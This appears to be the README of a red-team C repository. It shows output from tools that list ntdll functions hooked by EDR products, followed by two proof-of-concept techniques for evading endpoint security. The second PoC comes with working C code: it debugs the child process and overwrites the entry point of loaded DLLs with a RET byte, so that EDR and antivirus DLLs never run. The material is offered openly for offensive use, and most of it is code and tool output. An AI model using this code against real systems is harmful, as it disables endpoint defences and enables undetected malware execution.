红队 C 代码仓库
getsyscall.exe ntdll.dll NtProtectVirtualMemory
ntdll.dll!NtProtectVirtualMemory at 0x00007FFDE568D010
NtProtectVirtualMemory syscall ID 0x00000050 (80)
C:\Users\dev\Desktop>hook_finder_64.exe C:\Windows\System32\ntdll.dll
Loading C:\Windows\System32\ntdll.dll
------------------------------------------
BASE 0x00007FFAE0030000 MZÉ
PE 0x00007FFAE00300E8 PE
ExportTableOffset 0x00007FFAE01812A0
OffsetNameTable 0x00007FFAE01838C0
Function Counts 0x97e (2430)
------------------------------------------
NtAllocateVirtualMemory is hooked
NtAllocateVirtualMemoryEx is hooked
NtDeviceIoControlFile is hooked
NtGetContextThread is hooked
NtMapViewOfSection is hooked
NtMapViewOfSectionEx is hooked
NtProtectVirtualMemory is hooked
NtQueryInformationThread is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtSuspendThread is hooked
NtUnmapViewOfSection is hooked
NtUnmapViewOfSectionEx is hooked
NtWriteVirtualMemory is hooked
ZwAllocateVirtualMemory is hooked
ZwAllocateVirtualMemoryEx is hooked
ZwDeviceIoControlFile is hooked
ZwGetContextThread is hooked
ZwMapViewOfSection is hooked
ZwMapViewOfSectionEx is hooked
ZwProtectVirtualMemory is hooked
ZwQueryInformationThread is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwSuspendThread is hooked
ZwUnmapViewOfSection is hooked
ZwUnmapViewOfSectionEx is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed
C:\Users\dev\Desktop>sentinel_hook_finder_64.exe C:\windows\system32\ntdll.dll
Loading C:\windows\system32\ntdll.dll
------------------------------------------
BASE 0x00007FF8EDA30000 MZÉ
PE 0x00007FF8EDA300E8 PE
ExportTableOffset 0x00007FF8EDB812A0
OffsetNameTable 0x00007FF8EDB838C0
Functions Count 0x97e (2430)
------------------------------------------
KiUserApcDispatcher is hooked
LdrLoadDll is hooked
NtAllocateVirtualMemory is hooked
NtCreateThreadEx is hooked
NtCreateUserProcess is hooked
NtFreeVirtualMemory is hooked
NtLoadDriver is hooked
NtMapUserPhysicalPages is hooked
NtMapViewOfSection is hooked
NtOpenProcess is hooked
NtProtectVirtualMemory is hooked
NtQuerySystemInformation is hooked
NtQuerySystemInformationEx is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtTerminateProcess is hooked
NtUnmapViewOfSection is hooked
NtWriteVirtualMemory is hooked
RtlAddVectoredExceptionHandler is hooked
RtlGetNativeSystemInformation is hooked
ZwAllocateVirtualMemory is hooked
ZwCreateThreadEx is hooked
ZwCreateUserProcess is hooked
ZwFreeVirtualMemory is hooked
ZwLoadDriver is hooked
ZwMapUserPhysicalPages is hooked
ZwMapViewOfSection is hooked
ZwOpenProcess is hooked
ZwProtectVirtualMemory is hooked
ZwQuerySystemInformation is hooked
ZwQuerySystemInformationEx is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwTerminateProcess is hooked
ZwUnmapViewOfSection is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed
这是一个针对 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 技巧的概念验证（PoC）。它会强制执行该策略，然后再次生成自身；重新生成的进程已强制启用该策略，从而允许你在设置了 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 的情况下运行“恶意”代码。
这是一个概念验证（PoC），用于强制执行 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 策略，同时调试子进程（即自身），并使用 Windows 调试器 API 监控已加载的 DLL。它根据路径检测 DLL 并对其进行修补。其目的是防止加载到进程中的 EDR 和 AV DLL 正常执行。在此 POC 中，列入黑名单的 DLL 被设置为 user32.dll。
该事件通过 LOAD_DLL_DEBUG_EVENT 事件进行监控。
然后通过 event.u.UnloadDll.lpBaseOfDll 获取 DLL 的位置。
以下函数用于对代码进行修补：
VOID *GetEntryPointOffset(CHAR *start, DWORD dwSize, HANDLE hProc) {
CHAR* mem = GlobalAlloc(GPTR, dwSize);
DWORD dwBytesRead = 0;
ReadProcessMemory(hProc, start, mem, dwSize, &dwBytesRead);
DWORD dwBaseDLLInitializeOffset = *((DWORD*)mem + (0x120 / 4));
#ifdef DEBUG
printf("dwBaseDLLInitializeOffset offset 0x%x\n", dwBaseDLLInitializeOffset);
#endif
VOID *dwBaseDLLInitialize = (VOID*)start + dwBaseDLLInitializeOffset;
#ifdef DEBUG
printf("dwBaseDLLInitialize offset 0x%p\n", dwBaseDLLInitialize);
#endif
GlobalFree(mem);
return dwBaseDLLInitialize;
}
VOID ModifyMem(CHAR *start, DWORD dwSize, HANDLE hProc) {
#ifdef DEBUG
printf("Cleaning HANDLE 0x%p 0x%p length: %d\n", hProc, start, dwSize);
#endif
VOID* EntryPoint = GetEntryPointOffset(start, dwSize, hProc);
DWORD dwOut = 0;
DWORD dwOld = 0;
#ifdef DEBUG
printf("EntryPoint at 0x%p\n", EntryPoint);
#endif
VirtualProtectEx(hProc, EntryPoint, 1, PAGE_READWRITE, &dwOld);
WriteProcessMemory(hProc, EntryPoint, "\xc3", 1, &dwOut);
#ifdef DEBUG
printf("Size of bytes written: %d\n", dwOut);
#endif
}
编译代码前，可通过将 DEBUG 设置为 FALSE 来移除详细输出信息。
Mr.Un1k0d3r RingZer0 Team